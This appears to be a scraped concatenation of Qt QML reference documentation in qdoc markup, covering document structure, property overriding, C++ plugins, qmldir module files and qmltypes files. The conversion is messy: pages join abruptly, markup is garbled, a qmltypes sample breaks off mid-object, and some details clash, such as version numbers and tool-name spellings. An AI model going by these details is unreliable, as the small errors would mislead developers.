```

```
Item {
```

```
    id: root
```

```
    property string title
```

```
    TitleText {
```

```
        title: root.title
```

```
        size: 22
```

```
        anchors.top: parent.top
```

```
    }
```

```
    TitleText {
```

```
        title: root.title
```

```
        size: 18
```

```
        anchors.bottom: parent.bottom
```

```
    }
```

```
}
```

```
// TitleText.qml
```

```
import QtQuick 2.0
```

```
Text {
```

```
    property string title
```

```
    property int size
```

```
    text: "<b>" + title + "</b>"
    font.pixelSize: size
}
\endcode
```

## \section1 Overridden Properties

QML permits property names defined in an object declaration to be overridden by properties declared within another object declaration that extends the first. For example:

```
\code
// Displayable.qml
import QtQuick 2.0

Item {
    property string title
    property string detail

    Text {
        text: "<b>" + title + "</b><br>" + detail
    }

    function getTitle() { return title }
    function setTitle(newTitle) { title = newTitle }
}
```

```
// Person.qml

import QtQuick 2.0

Displayable {

    property string title

    property string firstName

    property string lastName

    function fullName() { return title + " " + firstName + " " + lastName }

}

\endcode
```

Here, the name `\c title` is given to both the heading of the output text for `Displayable`, and also to the honorific title of the `Person` object.

An overridden property is resolved according to the scope in which it is referenced.

Inside the scope of the `Person` component, or from an external scope that refers to an instance of the `Person` component, `\c title` resolves to the property declared inside `Person.qml`. The `\c fullName` function will refer to the `\c title` property declared inside `Person`.

Inside the `Displayable` component, however, `\c title` refers to the property declared in `Displayable.qml`. The `getTitle()` and `setTitle()` functions, and the binding for the `\c text` property of the `Text` object will all refer to the `\c title` property declared in the `Displayable` component.

Despite sharing the same name, the two properties are entirely separate. An `onChanged` signal handler for one of the properties will not be triggered by a change to the other property with the same name. An alias to either property will refer to one or the other, but not both.

\section1 JavaScript Global Object

QML disallows type, id and property names that conflict with the properties on the global object to prevent any confusion. Programmers can be confident that `Math.min(10, 9)` will always work as expected!

See \l {JavaScript Host Environment} for more information.

\page qtqml-documents-structure.html

\title Structure of a QML Document

\brief Description of the structure of QML documents

A QML document is a self contained piece of QML source code that consists of two parts:

```

\list
\li Its \e import statements
\li A single root object declaration
\endlist

```

By convention, a single empty line separates the imports from the object hierarchy definition.

QML documents are always encoded in UTF-8 format.

## \section1 Imports

A document must import the necessary modules or type namespaces to enable the engine to load the QML object types referenced within the document. By default, a document can access any QML object types that have been defined through `.qml` files in the same directory; if a document needs to refer to any other object types, it must import the type namespace into which those types have been registered.

QML does `\e` not have a preprocessor that modifies the document prior to presentation to the `\{QQmlEngine\}`QML engine}, unlike C or C++.

The `\c` import statements do not copy and prepend the code in the document, but instead instruct the QML engine on how to resolve type references found in the document. Any type reference present in a QML document - such as `\c`

Rectangle and `ListView` - including those made within a `{JavaScript Expressions in QML Documents}` or `{Property Binding}` property bindings, are resolved based exclusively on the import statements. At least one `import` statement must be present such as `import QtQuick 2.0`.

Please see the [QML Syntax - Import Statements](#) documentation for in-depth information about QML imports.

## The Root Object Declaration

A QML document describes a hierarchy of objects which can be instantiated.

Each object definition has a certain structure; it has a type, it can have an id and an object name, it can have properties, it can have methods, it can have signals and it can have signal handlers.

A QML file must only contain **a single root object definition**. The following is invalid and will generate an error:

`\code`

```
// MyQmlFile.qml
```

```
import QtQuick 2.0
```

```
Rectangle { width: 200; height: 200; color: "red" }
```

```
Rectangle { width: 200; height: 200; color: "blue" } // invalid!
```

`\endcode`

This is because a .qml file automatically defines a QML type, which encapsulates a \e single QML object definition. This is discussed further in \{qtqml-documents-definetypes.html}{Documents as QML object type definitions}.

\page qtqml-documents-topic.html

\title QML Documents

\brief Description of QML documents

A QML document is a string which conforms to QML document syntax. A document defines a QML object type. A document is generally loaded from a \c ".qml" file stored either locally or remotely, but can be constructed manually in code. An instance of the object type defined by a document may be created using a \l Component in QML code, or a \l QQmlComponent in C++. Alternatively, if the object type is explicitly exposed to the QML type system with a particular type name, the type may be used directly in object declarations in other documents.

The ability to define re-usable QML object types in documents is an important enabler to allow clients to write modular, highly readable and maintainable code.

Since Qt 5.4, a document can also have the file extension `".ui.qml"`. The QML engine handles these files like standard `.qml` files and ignores the `.ui` part of the extension. Qt Creator handles those files as `{Qt Creator: Qt Quick UI Forms}` for the Qt Quick Designer. The files can contain only a subset of the QML language that is defined by Qt Creator.

## Structure of a QML Document

A QML document consists of two sections: the imports section, and the object declaration section. The imports section in a document contains import statements that define which QML object types and JavaScript resources the document is able to use. The object declaration section defines the object tree to be created when instantiating the object type defined by the document.

An example of a simple document is as follows:

```
\qml
import QtQuick 2.0

Rectangle {
    width: 300
    height: 200
    color: "blue"
}
\endqml
```

See the [\{qml-documents-structure.html\}](#) {Structure of a QML Document} for more information on the topic.

## \section2 Syntax of the QML Language

The object declaration section of the document must specify a valid object hierarchy with appropriate [\{qml-syntax-basics.html\}](#) {QML syntax}. An object declaration may include the specification of custom [\{qml-syntax-objectattributes.html\}](#) {object attributes}. Object method attributes may be specified as JavaScript functions, and object property attributes may be assigned [\{qml-syntax-propertybinding.html\}](#) {property binding expressions}.

Please see the documentation about the [\{qml-syntax-basics.html\}](#) {syntax of QML} for more information about valid syntax, and see the documentation about [\{qml-javascript-topic.html\}](#) {integrating QML and JavaScript} for in-depth information on that topic.

## \section1 Defining Object Types through QML Documents

As described briefly in the previous section, a document implicitly defines a QML object type. One of the core principles of QML is the ability to define and then re-use object types. This improves the maintainability of QML code, increases the readability of object hierarchy declarations, and promotes

separation between UI definition and logic implementation.

In the following example, the client developer defines a `Button` type with a document in a file:

```
\snippet ../quick/doc/snippets/qml/qml-extending-types/components/Button.qml 0
```

The `Button` type can then be used in an application:

```
\table
\row
\li \snippet ../quick/doc/snippets/qml/qml-extending-types/components/application.qml 0
\li \image button-types.png
\endtable
```

Please see the documentation about [Qt QML documents defining types](#) for in-depth information on the topic.

## Resource Loading and Network Transparency

It is important to note that QML is network-transparent. Applications can import documents from remote paths just as simply as documents from local paths. In fact, any `url` property may be assigned a remote or local URL, and the QML engine will handle any network communication involved.

Please see the `\{qtqml-documents-networktransparency.html}`  
{Network Transparency} documentation for more information about network  
transparency in imports.

## `\section1` Scope and Naming Resolution

Expressions in documents usually involve objects or properties of objects,  
and since multiple objects may be defined and since different objects may have  
properties with the same name, some predefined symbol resolution semantics must  
be defined by QML. Please see the page on `\{qtqml-documents-scope.html}`  
{scope and symbol resolution} for in-depth information about the topic.

\page qtqml-modules-cppplugins.html

\title Creating C++ Plugins for QML

\brief Description of how to write C++ plugins for QML

\section1 Creating a Plugin

The `QQmlEngine` QML engine load C++ plugins for QML.

Such plugins are usually provided in a QML extension module, and can provide types for use by clients in QML documents which import the module. A module requires at least one type registered in order to be considered valid.

QQmlExtensionPlugin is a plugin interface that makes it possible to create QML extensions that can be loaded dynamically into QML applications. These extensions allow custom QML types to be made available to the QML engine.

To write a QML extension plugin:

\list 1

\li Subclass QQmlExtensionPlugin

\list

\li Use the `Q_PLUGIN_METADATA()` macro to register the plugin with the Qt meta object system

\li Override the `QQmlExtensionPlugin::registerTypes()` method and call `qmlRegisterType()` to register the types to be exported by the plugin

\endlist

\li Write a project file for the plugin

\li Create a `Module Definition qmldir Files` `qmldir` file to describe the plugin

\endlist

QML extension plugins are for either application-specific or library-like plugins. Library plugins should limit themselves to registering types, as any manipulation of the engine's root context may cause conflicts or other issues in the library user's code.

## \section1 Plugin Example

Suppose there is a new \c TimeModel C++ class that should be made available as a new QML type. It provides the current time through \c hour and \c minute properties.

\snippet qmlextensionplugins/plugin.cpp 0

\dots

To make this type available, we create a plugin class named \c QExampleQmlPlugin which is a subclass of \l QQmlExtensionPlugin. It overrides the \l{QQmlExtensionPlugin::}{registerTypes()} method in order to register the \c TimeModel type using `qmlRegisterType()`. It also uses the `Q_PLUGIN_METADATA()` macro in the class definition to register the plugin with the Qt meta object system using a unique identifier for the plugin.

\snippet qmlextensionplugins/plugin.cpp plugin

The \c TimeModel class receives a \c{1.0} version of this plugin library, as a QML type called \c Time. The `Q_ASSERT()` macro can ensure the type namespace is

imported correctly by any QML components that use this plugin. The [\l{Defining QML Types from C++}](#) article has more information about registering C++ types into the runtime.

For this example, the TimeExample source directory is in `\c{imports/TimeExample}`. The plugin's type namespace will mirror this structure, so the types are registered into the namespace "TimeExample".

Additionally, the project file, in a `\c .pro` file, defines the project as a plugin library, specifies it should be built into the `\c imports/TimeExample` directory, and registers the plugin target name and various other details:

```
\code
TEMPLATE = lib
CONFIG += qt plugin
QT += qml

DESTDIR = imports/TimeExample
TARGET = qmlqtimeexampleplugin
SOURCES += qexampleqmlplugin.cpp
\endcode
```

Finally, a [\l{Module Definition qmldir Files}](#){qmldir file} is required in the `\c imports/TimeExample` directory to describe the plugin and the types that it

exports. The plugin includes a `\c Clock.qml` file along with the `\c qmlqtimeexampleplugin` that is built by the project (as shown above in the `\c .pro` file) so both of these need to be specified in the `\c qmldir` file:

```
\quotefile qmlextensionplugins/imports/TimeExample/qmldir
```

Once the project is built and installed, the new `\c Time` component is accessible by any QML component that imports the `\c TimeExample` module

```
\snippet qmlextensionplugins/plugins.qml 0
```

The full source code is available in the `\l {qmlextensionplugins}{plugins example}`.

\page qtqml-modules-identifiedmodules.html

\title Identified Modules

\brief Creating and importing identified modules

Identified modules are modules that are installed and identifiable to the QML engine by a URI in the form of a dotted identifier string, which should be specified by the module in its \c qmldir file. This enables such modules to be imported with a unique identifier that remains the same no matter where the module is located on the local file system.

When importing an identified module, an unquoted identifier is used, with a mandatory version number:

\snippet qml/imports/installed-module.qml imports

Identified modules must be installed into the

\{qtqml-syntax-imports.html#qml-import-path\}{import path} in order to be found by the QML engine.

\section1 Locally Installed Identified Modules

A directory of QML and/or C++ files can be shared as an identified module if it contains a `\{qtqml-modules-qmldir.html\}` file with the module metadata and is installed into the QML import path. Any QML file on the local file system can import this directory as a module by using an `\{qtqml-syntax-imports.html\}` statement that refers to the module's URI, enabling the file to use the `\{qtqml-typesystem-objecttypes.html\}` {QML object types} and `\{qtqml-javascript-resources.html\}` {JavaScript resources} defined by the module.

The module's `\c qmldir` file must reside in a directory structure within the `\{qtqml-syntax-imports.html#qml-import-path\}` {import path} that reflects the URI dotted identifier string, where each dot (".") in the identifier reflects a sub-level in the directory tree. For example, the `\c qmldir` file of the module `\c com.mycompany.mymodule` must be located in the sub-path `\c com/mycompany/mymodule/qmldir` somewhere in the `\{qtqml-syntax-imports.html#qml-import-path\}` {import path}.

It is possible to store different versions of a module in subdirectories of its own. For example, a version 2.1 of a module could be located under `\c com/mycompany/mymodule.2/qmldir` or `\c com/mycompany/mymodule.2.1/qmldir`. The engine will automatically load the module which matches best.

Alternatively, versioning for different types can be defined within a `qmldir` file itself, however this can make updating such a module more difficult (as a

\c qmldir file merge must take place as part of the update procedure).

## \section2 An Example

Consider the following QML project directory structure. Under the top level directory \c myapp, there are a set of common UI components in a sub-directory named \c mycomponents, and the main application code in a sub-directory named \c main, like this:

\code

myapp

- | - mycomponents
  - | - CheckBox.qml
  - | - DialogBox.qml
  - | - Slider.qml
- | - main
  - | - application.qml

\endcode

To make the \c mycomponents directory available as an identified module, the directory must include a \{qtqml-modules-qmldir.html\}{qmldir file} that defines the module identifier, and describes the object types made available by the module. For example, to make the \c CheckBox, \c DialogBox and \c Slider types available for version 1.0 of the module, the \c qmldir file would contain

the following:

```
\code
module myapp.mycomponents

CheckBox 1.0 CheckBox.qml

DialogBox 1.0 DialogBox.qml

Slider 1.0 Slider.qml

\endcode
```

Additionally, the location of the `\c qml` file in the `\{qtqml-syntax-imports.html#qml-import-path}{import path}` must match the module's dotted identifier string. So, say the top level `\c myapp` directory is located in `\c C:\qml\projects`, and say the module should be identified as `"myapp.mycomponents"`. In this case:

```
\list
\li The path \c C:\qml\projects should be added to the
\{qtqml-syntax-imports.html#qml-import-path}{import path}
\li The qml file should be located under \c C:\qml\projects\myapp\mycomponents\qml
\endlist
```

Once this is done, a QML file located anywhere on the local filesystem can import the module by referring to its URI and the appropriate version:

```
\qml
```

```
import myapp.mycomponents 1.0
```

```
DialogBox {  
    CheckBox {  
        // ...  
    }  
    Slider {  
        // ...  
    }  
}  
\endqml
```

## \section1 Remotely Installed Identified Modules

Identified modules are also accessible as a network resource. In the previous example, if the `\c C:\qml\projects` directory was hosted as `\c http://www.some-server.com/qml/projects` and this URL was added to the QML import path, the module could be imported in exactly the same way.

Note that when a file imports a module over a network, it can only access QML and JavaScript resources provided by the module; it cannot access any types defined by C++ plugins in the module.

## \section1 Semantics of Identified Modules

An identified module is provided with the following guarantees by the QML engine:

\list

\li other modules are unable to modify or override types in the module's namespace

\li other modules are unable to register new types into the module's namespace

\li usage of type names by clients will resolve deterministically to a given type definition depending on the versioning specified and the import order

\endlist

This ensures that clients which use the module can be certain that the object types defined in the module will behave as the module author documented.

An identified module has several restrictions upon it:

\list

\li an identified module must be installed into the

\l{qtqml-syntax-imports.html#qml-import-path}{QML import path}

\li the module identifier specified in the \l{qtqml-modules-qmldir.html}

{module identifier directive} must match the install path of the module

(relative to the QML import path, where directory separators are replaced with period characters)

\li the module must register its types into the module identifier type namespace

- \li the module may not register types into any other module's namespace
  - \li clients must specify a version when importing the module
- \endlist

For example, if an identified module is installed into

\c{\$QML2\_IMPORT\_PATH/ExampleModule}, the module identifier directive must be:

\code

module ExampleModule

\endcode

If the strict module is installed into

\c{\$QML2\_IMPORT\_PATH/com/example/CustomUi}, the module identifier directive must be:

\code

module com.example.CustomUi

\endcode

Clients will then be able to import the above module with the following import statement (assuming that the module registers types into version 1.0 of its namespace):

\qml

import com.example.CustomUi 1.0

\endqml

\title Legacy Modules
```

```
\brief Description of legacy QML modules
```

Legacy modules are modules whose specification \c qmldir file does not contain a module identifier directive. A legacy module may be either installed into the QML import path (as an installed legacy module) or imported by clients with a relative import (as a located legacy module). Clients are advised to avoid using legacy modules if possible. Module developers should ensure they create identified modules and not legacy modules.

## \section1 Installed Legacy Modules

An installed, non-identified module is automatically given an identifier by the QML engine. This implicitly defined identifier is equal to the install path of the module (relative to the QML import path) where directory-separator characters are replaced with period characters.

A non-identified module which is installed into the QML import path has the following semantics:

\list

- \li it may be imported by clients via the implicit module identifier
- \li clients must specify a version when importing the module
- \li conflicting type names are resolved arbitrarily by the QML engine, and the way in which conflicts are resolved is not guaranteed to stay the same between different versions of QML
- \li other legacy modules may modify or override type definitions provided by the installed legacy module

\endlist

## \section1 Located Legacy Modules

A non-identified module which is imported via a relative directory path import statement is loaded by the engine as a located legacy module. The following semantics apply to located legacy modules:

\list

- \li it may be imported by clients via a relative import path
- \li it is not mandatory for clients to specify a version when importing the module
- \li if no import version is supplied by the client in the import statement, no guarantees are given by the QML engine about which version of the definition of a given type name will be imported
- \li conflicting type names are resolved arbitrarily by the QML engine, and the way in which conflicts are resolved is not guaranteed to stay the same between different versions of QML

\li other legacy modules may modify or override type definitions provided by  
the located legacy module  
\endlist

A located legacy module may reside on the local file system or on the  
network and can be referred to by a URL that specifies the file system path or  
network URL.

\title Module Definition qmldir Files

\brief Defines a QML module

There are two distinct types of \c qmldir files:

\list

\li QML document directory listing files

\li QML module definition files

\endlist

This documentation covers only the second form of \c qmldir file. For more information about the first form of \c qmldir file, please see the

documentation about

`\{qtqml-syntax-directoryimports.html#directory-listing-qmldir-files}`

{directory listing qmldir files}.

## `\section1` Contents of a Module Definition qmldir File

A `\c` qmldir file which defines a module is a plain-text file which consists of the following commands:

`\table`

`\header`

`\li` Command

`\li` Syntax

`\li` Usage

`\row`

`\li` Module Identifier Directive

`\li`

`\code`

`module <ModuleIdentifier>`

`\endcode`

`\li` Declares the module identifier of the module.

The `<ModuleIdentifier>` is the (dotted URI notation) identifier for the module, which must match the module's install path.

The `\{Identified Modules#Semantics of Identified Modules}`

`{module identifier directive}` must be the first line of the file.

Exactly one module identifier directive may exist in the `\c qmldir` file.

Example:

`\code`

module ExampleModule

`\endcode`

`\row`

`\li` Object Type Declaration

`\li`

`\code`

`<TypeName> <InitialVersion> <File>`

`\endcode`

`\li` Declares a `\{qtqml-typesystem-objecttypes.html}`{QML object type}

to be made available by the module.

`\list`

`\li \c <TypeName>` is the type being made available

`\li \c <InitialVersion>` is the module version for which the type is to be made available

`\li \c <File>` is the (relative) file name of the QML file that defines the type

`\endlist`

Zero or more object type declarations may exist in the `\c qmldir`

file, however each object type must have a unique type name within any particular version of the module.

Example:

```
\code
```

```
MyCustomType 1.0 MyCustomType.qml
```

```
\endcode
```

```
\row
```

```
\li Internal Object Type Declaration
```

```
\li
```

```
\code
```

```
internal <TypeName> <File>
```

```
\endcode
```

```
\li Declares an object type that is in the module but should not be  
made available to users of the module.
```

Zero or more internal object type declarations may exist in the  
`\c qmldir` file.

Example:

```
\code
```

```
internal MyPrivateType MyPrivateType.qml
```

```
\endcode
```

This is necessary if the module may be imported remotely (see `\{Identified Modules#Remotely Installed Identified Modules}` `{Remotely Installed Identified Modules}`) because if an exported type depends on a non-exported type within the module, the engine must also load the non-exported type.

`\row`

`\li JavaScript Resource Declaration`

`\li`

`\code`

`<ResourceIdentifier> <InitialVersion> <File>`

`\endcode`

`\li` Declares a JavaScript file to be made available by the module.

The resource will be made available via the specified identifier with the specified version number.

Zero or more JavaScript resource declarations may exist in the `\c qmldir` file, however each JavaScript resource must have a unique identifier within any particular version of the module.

Example:

`\code`

MyScript 1.0 MyScript.js

`\endcode`

See the documentation about [\{qml-javascript-resources.html}](#)

[{defining JavaScript resources}](#) and

[\{qml-javascript-imports.html}](#)

[{Importing JavaScript Resources In QML}](#) for more information.

\row

\li C++ Plugin Declaration

\li

\code

plugin <Name> [<Path>]

\endcode

\li Declares a plugin to be made available by the module.

\list

\li \c <Name> is the plugin library name. This is usually not the

same as the file name of the plugin binary, which is platform

dependent; e.g. the library \c MyAppTypes would produce

\c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows.

\li \c <Path> (optional) specifies either:

\list

\li an absolute path to the directory containing the plugin

file, or

\li a relative path from the directory containing the \c qmldir

file to the directory containing the plugin file.

\endlist

By default the engine searches for the plugin library in the directory that contains the `\c qmldir` file. (The plugin search path can be queried with `QQmlEngine::pluginPathList()` and modified using `QQmlEngine::addPluginPath().`)

`\endlist`

Zero or more C++ plugin declarations may exist in the `\c qmldir` file, however since plugin loading is a relatively expensive operation, clients are advised to specify at most a single plugin.

Example:

`\code`

`plugin MyPluginLibrary`

`\endcode`

`\row`

`\li C++ Plugin Class`

`\li`

`\code`

`classname <C++ plugin class>`

`\endcode`

`\li Provides the class name of the C++ plugin used by the module.`

This information is required for all the QML modules that depend on a C++ plugin for additional functionality. Qt Quick applications

built with static linking cannot resolve the module imports without this information.

\row

\li Type Information Description File Declaration

\li

\code

typeinfo <File>

\endcode

\li Declares a \l{Writing a qmltypes file}{type description file} for the module that can be read by QML tools such as Qt Creator to access information about the types defined by the module's plugins. \c <File> is the (relative) file name of a \c .qmltypes file.

Example:

\code

typeinfo mymodule.qmltypes

\endcode

Without such a file, QML tools may be unable to offer features such as code completion for the types defined in your plugins.

\row

\li Dependency Declaration

\li

\code

depends <ModuleIdentifier> <InitialVersion>

\endcode

\li Declares that this module depends on another.

Example:

\code

depends MyOtherModule 1.0

\endcode

This declaration is necessary only in cases when the dependency is hidden: for example, when the C++ code for one module is used to load QML (perhaps conditionally) which then depends on other modules. In such cases, the \c depends declaration is necessary to include the other modules in application packages.

\row

\li Comment

\li

\code

# <Comment>

\endcode

\li Declares a comment. These are ignored by the engine.

Example:

```
\code
# this is a comment
\endcode
```

```
\row
```

```
\li designersupported
```

```
\li
```

```
\code
    designersupported
\endcode
```

\li Set this property if the plugin is supported by Qt Quick Designer.

By default, the plugin will not be supported.

A plugin that is supported by Qt Quick Designer has to be properly tested. This means that the plugin does not crash when running inside the qml2puppet that is used by Qt Quick Designer to execute QML.

Generally the plugin should work well in the Qt Quick Designer and not cause any show stoppers, like taking huge amounts of memory, slowing down the qml2puppet heavily or anything else that renders the plugin effectively unusable in the Qt Quick Designer.

The items of an unsupported plugin are not painted in the Qt Quick Designer, but they are still available as empty boxes and the properties can be edited.

\endtable

Each command in a \c qmldir file must be on a separate line.

## \section1 Versioning Semantics

Types which are exported for a particular version are still made available if a later version is imported. If a module provides a \c MyButton type in version 1.0 and a \c MyWindow type in version 1.1, clients which import version 1.1 of the module will be able to use the \c MyButton type and the \c MyWindow type. However, the reverse is not true: a type exported for a particular version cannot be used if an earlier version is imported. If the client had imported version 1.0 of the module, they can use the \c MyButton type but \b not the \c MyWindow type.

A version cannot be imported if no types have been explicitly exported for that version. If a module provides a \c MyButton type in version 1.0 and a \c MyWindow type in version 1.1, you cannot import version 1.2 or version 2.0 of that module.

A type can be defined by different files in different versions. In this case, the most closely matching version will be used when imported by clients. For example, if a module had specified the following types via its \c qmldir file:

\code

```
module ExampleModule  
  
MyButton 1.0 MyButton.qml  
  
MyButton 1.1 MyButton11.qml  
  
MyButton 1.3 MyButton13.qml  
  
MyButton 2.0 MyButton20.qml  
  
MyRectangle 1.2 MyRectangle12.qml
```

\endcode

a client who imports version 1.2 of ExampleModule will get the \c MyButton type definition provided by \c MyButton11.qml as it is the most closely matching (i.e., latest while not being greater than the import) version of the type, and the \c MyRectangle type definition provided by \c MyRectangle12.qml.

The versioning system ensures that a given QML file will work regardless of the version of installed software, since a versioned import \e only imports types for that version, leaving other identifiers available, even if the actual installed version might otherwise provide those identifiers.

\section1 Example of a qmlDir File

One example of a \c qmlDir file follows:

\code

```
module ExampleModule
```

```
CustomButton 1.0 CustomButton.qml
CustomButton 2.0 CustomButton20.qml
CustomButton 2.1 CustomButton21.qml
plugin examplemodule
MathFunctions 2.0 mathfuncs.js
\endcode
```

The above `\c qmldir` file defines a module called "ExampleModule". It defines the `\c CustomButton` QML object type in versions 1.1, 2.0 and 2.1 of the module, with different implementations in each version. It specifies a plugin which must be loaded by the engine when the module is imported by clients, and that plugin may register various C++-defined types with the QML type system. On Unix-like systems the QML engine will attempt to load `\c libexamplemodule.so` as a `QQmlExtensionPlugin`, and on Windows it will attempt to load `\c examplemodule.dll` as a `QQmlExtensionPlugin`. Finally, the `\c qmldir` file specifies a `\{qtqml-javascript-resources.html\}`{JavaScript resource} which is only available if version 2.0 or greater of the module is imported, accessible via the `\c MathFunctions` identifier.

If the module is `\{qtqml-modules-identifiedmodules.html\}`{installed} into the QML import path, clients could import and use the module in the following manner:

```
\qml
import QtQuick 2.0
```

```
import ExampleModule 2.1
```

```
Rectangle {  
    width: 400  
    height: 400  
    color: "lightsteelblue"  
  
    CustomButton {  
        color: "gray"  
        text: "Click Me!"  
        onClicked: MathFunctions.generateRandom() > 10 ? color = "red" : color = "gray";  
    }  
}  
\endqml
```

The `\c CustomButton` type used above would come from the definition specified in the `\c CustomButton21.qml` file, and the JavaScript resource identified by the `\c MathFunctions` identifier would be defined in the `\c mathfuncs.js` file.

## `\section1` Writing a `qmltypes` File

QML modules may refer to one or more type information files in their `\c qmldir` file. These usually have the `\c .qmltypes` extension and are read by external tools to gain information about

types defined in plugins.

As such qmltypes files have no effect on the functionality of a QML module.

Their only use is to allow tools such as Qt Creator to provide code completion, error checking and other functionality to users of your module.

Any module that uses plugins should also ship a type description file.

The best way to create a qmltypes file for your module is to generate it using the `\c qmlplugindump` tool that is provided with Qt.

Example:

If your module is in `\c /tmp/imports/My/Module`, you could run

`\code`

```
qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes
```

`\endcode`

to generate type information for your module. Afterwards, add the line

`\code`

```
typeinfo mymodule.qmltypes
```

`\endcode`

to `\c /tmp/imports/My/Module/qmldir` to register it.

While the `qmeldump` tool covers most cases, it does not work if:

`\list`

`\li` The plugin uses a `\c{QQmlCustomParser}`. The component that uses

the custom parser will not get its members documented.

- \li The plugin can not be loaded. In particular if you cross-compiled the plugin for a different architecture, qmldump will not be able to load it.

\endlist

In case you have to create a qmltypes file manually or need to adjust an existing one, this is the file format:

\qml

```
import QtQuick.tooling 1.1
```

```
// There always is a single Module object that contains all
```

```
// Component objects.
```

```
Module {
```

```
    // A Component object directly corresponds to a type exported
```

```
    // in a plugin with a call to qmlRegisterType.
```

```
    Component {
```

```
        // The name is a unique identifier used to refer to this type.
```

```
        // It is recommended you simply use the C++ type name.
```

```
        name: "QQuickAbstractAnimation"
```

```
        // The name of the prototype Component.
```

```
        prototype: "QObject"
```

```
// The name of the default property.
defaultProperty: "animations"

// The name of the type containing attached properties
// and methods.
attachedType: "QQuickAnimationAttached"

// The list of exports determines how a type can be imported.
// Each string has the format "URI/Name version" and matches the
// arguments to qmlRegisterType. Usually types are only exported
// once, if at all.
// If the "URI/" part of the string is missing that means the
// type should be put into the package defined by the URI the
// module was imported with.
// For example if this module was imported with 'import Foo 4.8'
// the Animation object would be found in the package Foo and
// QtQuick.
exports: [
    "Animation 4.7",
    "QtQuick/Animation 1.0"
]

// The meta object revisions for the exports specified in 'exports'.
// Describes with revisioned properties will be visible in an export.
```

```
// The list must have exactly the same length as the 'exports' list.  
// For example the 'animations' property described below will only be  
// available through the QtQuick/Animation 1.0 export.
```

```
exportMetaObjectRevisions: [0, 1]
```

```
Property {
```

```
    name: "animations";
```

```
    type: "QQuickAbstractAnimation"
```

```
    // defaults to false, whether this property is read only
```

```
    isReadOnly: true
```

```
    // defaults to false, whether the type of this property was a pointer in C++
```

```
    isPointer: true
```

```
    // defaults to false: whether the type actually is a QQmlListProperty<type>
```

```
    isList: true
```

```
    // defaults to 0: the meta object revision that introduced this property
```

```
    revision: 1
```

## \title QML Modules

### \brief Description of how to write modules for QML

A QML module provides versioned types and JavaScript resources in a type namespace which may be used by clients who import the module. The types which a module provides may be defined in C++ within a plugin, or in QML documents. Modules make use of the QML versioning system which allows modules to be independently updated.

Defining of a QML module allows:

\list

- \li The sharing of common QML types within a project - for example, a group of UI components that are used by different windows
- \li The distribution of QML-based libraries
- \li The modularization of distinct features, so that applications only load the libraries necessary for their individual needs
- \li Versioning of types and resources so that the module can be updated safely without breaking client code

\endlist

## \section1 Defining a QML Module

A module is defined by a `{\qtqml-modules-qmldir.html}`

`{module definition qmldir file}`. Each module has an associated type

namespace, which is the module's identifier. A module can provide QML object types (defined either by QML documents or via a C++ plugin) and JavaScript resources, and may be imported by clients.

To define a module, a developer should gather together the various QML documents, JavaScript resources and C++ plugins which belong in the module into a single directory, and write an appropriate `\{qtqml-modules-qmldir.html}` {module definition qmldir file} which should also be placed into the directory. The directory can then be installed into the `\{qtqml-syntax-imports.html#qml-import-path}`{QML import path} as a module.

Note that defining a module is not the only way to share common QML types within a project - a simple `\{Importing QML Document Directories}` {QML document directory import} may also be used for this purpose.

## `\section1 Supported QML Module Types`

There are two different types of modules supported by QML:

- `\list`
- `\li \{Identified Modules}`
- `\li \{Legacy Modules} (deprecated)`
- `\endlist`

Identified modules explicitly define their identifier and are installed into QML import path. Identified modules are more maintainable (due to type

versioning) and are provided with type registration guarantees by the QML engine which are not provided to legacy modules. Legacy modules are only supported to allow legacy code to continue to work with the latest version of QML, and should be avoided by clients if possible.

Clients may import a QML module from within QML documents or JavaScript files.

Please see the documentation about

[\{qtqml-syntax-imports.html#module-namespace-imports}](#){importing a QML module}

for more information on the topic.

## [\section1 Providing Types and Functionality in a C++ Plugin](#)

An application which has a lot of logic implemented in C++, or which defines types in C++ and exposes them to QML, may wish to implement a QML plugin. A QML extension module developer may wish to implement some types in a C++ plugin (as opposed to defining them via QML documents) to achieve better performance or for greater flexibility.

Every C++ plugin for QML has an initialization function which is called by the QML engine when it loads the plugin. This initialization function must register any types that the plugin provides, but must not do anything else (for example, instantiating QObjects is not allowed).

See [\{qtqml-modules-cppplugins.html}](#){Creating C++ Plugins For QML} for more information.

\title The QML Reference
```

```
\brief A multi-paradigm language for application development
```

QML is a multi-paradigm language for creating highly dynamic applications. With QML, application building blocks such as UI components are declared and various properties set to define the application behavior. Application behavior can be further scripted through JavaScript, which is a subset of the language. In addition, QML heavily uses Qt, which allows types and other Qt features to be accessible directly from QML applications.

This reference guide describes the features of the QML language. Many of the QML types in the guide originate from the `Qt QML` or `Qt Quick` modules.

**\title QML Syntax Basics**

**\brief Description of the basics of QML syntax**

QML is a multi-paradigm language that enables objects to be defined in terms of their attributes and how they relate and respond to changes in other objects. In contrast to purely imperative code,

where changes in attributes and behavior are expressed through a series of statements that are processed step by step, QML's declarative syntax integrates attribute and behavioral changes directly into the definitions of individual objects. These attribute definitions can then include imperative code, in the case where complex custom application behavior is needed.

QML source code is generally loaded by the engine through QML \e documents, which are standalone documents of QML code. These can be used to define \l {QML Object Types}{QML object types} that can then be reused throughout an application.

## \section1 Import Statements

A QML document may have one or more imports at the top of the file.

An import can be any one of:

\list

\li a versioned namespace into which types have been registered (e.g., by a plugin)

\li a relative directory which contains type-definitions as QML documents

\li a JavaScript file

\endlist

JavaScript file imports must be qualified when imported, so that the properties and methods they provide can be accessed.

The generic form of the various imports are as follows:

\list

```
\li \tt{import Namespace VersionMajor.VersionMinor}
\li \tt{import Namespace VersionMajor.VersionMinor as SingletonTypeIdentifier}
\li \tt{import "directory"}
\li \tt{import "file.js" as ScriptIdentifier}
\endlist
```

Examples:

```
\list
\li \tt{import QtQuick 2.0}
\li \tt{import QtQuick.LocalStorage 2.0 as Database}
\li \tt{import "../privateComponents"}
\li \tt{import "somefile.js" as Script}
\endlist
```

Please see the [\{qtqml-syntax-imports.html\}](#)[QML Syntax - Import Statements](#) documentation for in-depth information about QML imports.

\keyword qml-object-declarations

\section1 Object Declarations

Syntactically, a block of QML code defines a tree of QML objects to be created. Objects are defined using `\e {object declarations}` that describe the type of object to be created as well as the attributes that are to be given to the object. Each object may also declare child objects using nested object declarations.

An object declaration consists of the name of its object type, followed by a set of curly braces. All attributes and child objects are then declared within these braces.

Here is a simple object declaration:

```
\qml
Rectangle {
    width: 100
    height: 100
    color: "red"
}
\endqml
```

